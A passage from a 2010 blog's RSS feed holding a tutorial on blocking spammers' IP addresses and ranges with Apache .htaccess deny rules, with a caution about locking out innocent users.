</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Easily block spammers&#8217; IP using a .htaccess file</title>
		<link>http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/</link>
		<comments>http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 18:12:20 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[block]]></category>
		<category><![CDATA[spammer]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=50</guid>
		<description><![CDATA[I&#8217;ve been going through my website traffic statistics for my blog and noticed some spikes in activity in terms of page hits, that could not be accounted for as legitimate user traffic. So within my webalizer tool (A free tool used to monitor domain traffic and activity) I decided to hunt down the source of ...]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been going through my website traffic statistics for my blog and noticed some spikes in activity in terms of page hits, that could not be accounted for as legitimate user traffic. So within my webalizer tool (A free tool used to monitor domain traffic and activity) I decided to hunt down the source of this rise in activity. Here I found IP addresses that have accessed my site and found the culprit. This particular IP registered a total of 3,000 hits in one day. I then used a free ‘who is’ online service <span style="color: #000000;"><a href="http://www.projecthoneypot.org/" target="_blank">(<strong>Honey Pot Project</strong></a></span> or <strong><span style="color: #ff0000;"><a title="Whois.net" href="http://www.whois.net" target="_blank">Whois.net</a></span></strong>) to check who owns the IP and I discovered that this is a spammer / scammer. So let’s get to blocking.<span id="more-50"></span></p>
<p><strong>The .htaccess file</strong></p>
<p>First of all, .htaccess (hypertext access), in several web servers (most commonly Apache), is the default name of a directory-level configuration file that allows for decentralized management of web server configuration. The .htaccess file is placed inside the web directory tree, and is able to override a subset of the server’s global configuration; the extent of this subset is defined by the web server administrator, which is you. Basically, you can allow or deny access to your site, whether robots (crawlers) or human visitors.</p>
<p>To create the .htaccess file, simply open your notepad application on windows and save the file as <strong>.htaccess </strong>There are no characters before the period. This file should be uploaded to your website’s root directory and will contain the commands below. For example: http://www.yourdomain.com/.htaccess</p>
<p><strong>a) To block the IP address, my basic .htaccess file includes:</strong></p>
<p>order allow,deny<br />
deny from 127.0.0.1 (Replace this IP with the one you want to block)<br />
allow from all</p>
<p>* So type this info into your .htaccess file, save it and then upload it to your root directory.</p>
<p>This will refuse all GET and POST requests made by IP address 127.0.0.1, an error message is shown instead and they user can’t access the site and thus won’t use any precious bandwidth.</p>
<p>After uploading the file I started monitoring my hit statistics a week later and I’m glad to say that the culprit IP is no longer there.</p>
<p><strong>b) More options</strong></p>
<p>To block multiple IP addresses, list them one per line.</p>
<p>order allow,deny<br />
deny from 127.0.0.1<br />
deny from 127.0.0.2<br />
deny from 127.0.0.3<br />
allow from all</p>
<p>You can also block an entire IP block/range. Here we will not specify the last octet in the .htaccess file.</p>
<p>e.g. – deny from 127.0.0</p>
<p>This will refuse access for any user with an address in the 127.0.0.0 to 127.0.0.255 range.</p>
<p><strong>Note: </strong>Instead of using numeric addresses, domain names (and subdomain names) can be used to ban users.</p>
<p>e.g. – deny from isp_name.com</p>
<p>It bans users with a remote hostname ending in isp_name.com. This would stop all users connected to the internet via isp_name.com from viewing your site.</p>
<p>Using .htaccess to block an entire range or name is likely to lock out innocent users so use these options with caution.</p>
<p>So, here ends this short tutorial on blocking IP addresses using a .htaccess file, hope you found it useful.</p>
<p>The .htaccess file can be used to complete quite a few other tasks such as creating custom error pages, setting up hot-linking protection, password protecting files and directories and more. I will be posting follow-up tutorials to cover all these topics in the very near future.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=Easily+block+spammers%27+IP+using+a+.htaccess+file&amp;link=http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/&amp;notes=I%27ve%20been%20going%20through%20my%20website%20traffic%20statistics%20for%20my%20blog%20and%20noticed%20some%20spikes%20in%20activity%20in%20terms%20of%20page%20hits%2C%20that%20could%20not%20be%20accounted%20for%20as%20legitimate%20user%20traffic.%20So%20within%20my%20webalizer%20tool%20%28A%20free%20tool%20used%20to%20monitor%20domain%20traffic%20and%20activity%29%20I%20decided%20to%20hunt%20down%20the%20so&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/02/26/easily-block-spammers-ip-using-a-htaccess-file/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

